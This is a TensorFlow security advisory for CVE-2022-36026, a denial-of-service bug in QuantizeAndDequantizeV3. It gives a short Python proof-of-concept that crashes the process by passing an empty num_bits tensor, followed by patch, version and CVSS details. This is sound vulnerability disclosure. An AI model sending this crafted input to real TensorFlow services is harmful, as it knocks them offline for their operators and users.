Advisoriesby IbisTensorFlow vulnerable to `CHECK` fail in `QuantizeAndDequantizeV3`
Impact
If QuantizeAndDequantizeV3 is given a nonscalar num_bits input tensor, it results in a CHECK fail that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
signed_input = True
range_given = False
narrow_range = False
axis = -1
input = tf.constant(-3.5, shape=[1], dtype=tf.float32)
input_min = tf.constant(-3.5, shape=[1], dtype=tf.float32)
input_max = tf.constant(-3.5, shape=[1], dtype=tf.float32)
num_bits = tf.constant([], shape=[0], dtype=tf.int32)
tf.raw_ops.QuantizeAndDequantizeV3(input=input, input_min=input_min, input_max=input_max, num_bits=num_bits, signed_input=signed_input, range_given=range_given, narrow_range=narrow_range, axis=axis)
`
Patches
We have patched the issue in GitHub commit [f3f9cb38ecfe5a8a703f2c4a8fead434ef291713](https://github.com/tensorflow/tensorflow/commit/f3f9cb38ecfe5a8a703f2c4a8fead434ef291713).
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| tensorflow PyPI | < 2.7.2 | 2.7.2 |
| >= 2.8.0, < 2.8.1 | 2.8.1 | |
| >= 2.9.0, < 2.9.1 | 2.9.1 |
Details and references
### Impact If `QuantizeAndDequantizeV3` is given a nonscalar `num_bits` input tensor, it results in a `CHECK` fail that can be used to trigger a denial of service attack. ```python import tensorflow as tf signed_input = True range_given = False narrow_range = False axis = -1 input = tf.constant(-3.5, shape=[1], dtype=tf.float32) input_min = tf.constant(-3.5, shape=[1], dtype=tf.float32) input_max = tf.constant(-3.5, shape=[1], dtype=tf.float32) num_bits = tf.constant([], shape=[0], dtype=tf.int32) tf.raw_ops.QuantizeAndDequantizeV3(input=input, input_min=input_min, input_max=input_max, num_bits=num_bits, signed_input=signed_input, range_given=range_given, narrow_range=narrow_range, axis=axis) ``` ### Patches We have patched the issue in GitHub commit [f3f9cb38ecfe5a8a703f2c4a8fead434ef291713](https://github.com/tensorflow/tensorflow/commit/f3f9cb38ecfe5a8a703f2c4a8fead434ef291713). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
- CVSS 3.1
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-617
- Also known as
- BIT-tensorflow-2022-36026, CVE-2022-36026, PYSEC-2026-3149, PYSEC-2026-3304, PYSEC-2026-976
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